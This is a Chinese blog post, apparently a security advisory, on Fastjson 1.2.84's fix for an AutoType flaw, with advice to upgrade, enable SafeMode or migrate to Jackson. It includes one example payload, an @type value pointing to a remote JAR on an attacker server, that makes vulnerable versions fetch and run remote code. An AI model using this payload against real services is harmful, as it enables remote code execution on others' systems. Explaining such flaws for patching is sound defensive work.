上周长亭科技向 Fastjson 官方提交了一份新的安全异常报告。Fastjson 1.2.84 发布,官方把它定位为 1.x 架构线的「终极安全维护版本」。
说是「终极」,但说实话,这话听着有点耳熟——上次 1.2.83 出来的时候,大家也以为那就是最后一份补丁了。Fastjson 1.x 这条线早就进了归档状态,但架不住安全漏洞隔三差五往外冒,每冒一次就得再发一次补丁
同一天,Fastjson2 也发了 2.0.63。三天后,8 月 2 日,又追加了 2.0.64。
如果你手上也有几个还挂着老版本 fastjson 依赖的项目,这篇文章可能帮得上忙。
又是 AutoType
Fastjson 安全问题,几乎每次都是 AutoType 相关的。
简单说,Fastjson 支持在 JSON 里塞一个 @type 字段,告诉它反序列化时该还原成哪个 Java 类。这个功能本身没问题,但为了判断 @type 里的类名能不能放行,1.2.68 之后的版本在检查流程里加了一步预检:先用这个类名去做一次资源探测(getResourceAsStream),看看目标类上有没有 @JSONType 注解,有的话就认为是自己人,放行。
攻击者利用了这一点:把 @type 写成一个远程 JAR 地址(如 jar:http://攻击者服务器/evil.jar!/EvilClass),Fastjson 在探测阶段就去拉这个远程 JAR。在 Spring Boot Fat-Jar 环境下,类加载器刚好能解析这种地址——远程类被加载,静态初始化块一执行,攻击者的代码就跑起来了。
1.2.84 的修法很简单:合法的 Java 类名根本不会出现 : 或 !,所以在探测之前直接拒掉含这些字符的类名,不让你走到那一步。
修复方案
第一档:升到 1.2.84
适合「这个模块还能跑,但没人敢大改」的项目。
改一下版本号就行:
1 | <dependency> |
如果连升级都暂时排不上排期,至少把 SafeMode 打开——加个 JVM 参数 -Dfastjson.parser.safeMode=true,或者代码里 ParserConfig.getGlobalInstance().setSafeMode(true)。这一步不治本,但能把风险先按住。
第二档:换 Jackson
如果项目本来就在计划技术栈升级,顺路把 JSON 库也换了是划算的。Jackson 是 Spring 官方内置推荐的 JSON 库,安全模型和维护活跃度都比 Fastjson 1.x 让人放心。
但这条路不轻松。序列化配置、日期格式、字段命名策略,Fastjson 和 Jackson 之间不是一一对应的,迁移基本等于把所有 JSON 相关代码重新摸一遍。如果只是因为这次安全公告才动了换库的念头,先别急——1.2.84 已经把眼下的风险处理掉了,Jackson 更适合当作长期规划,不是这周就要交的作业。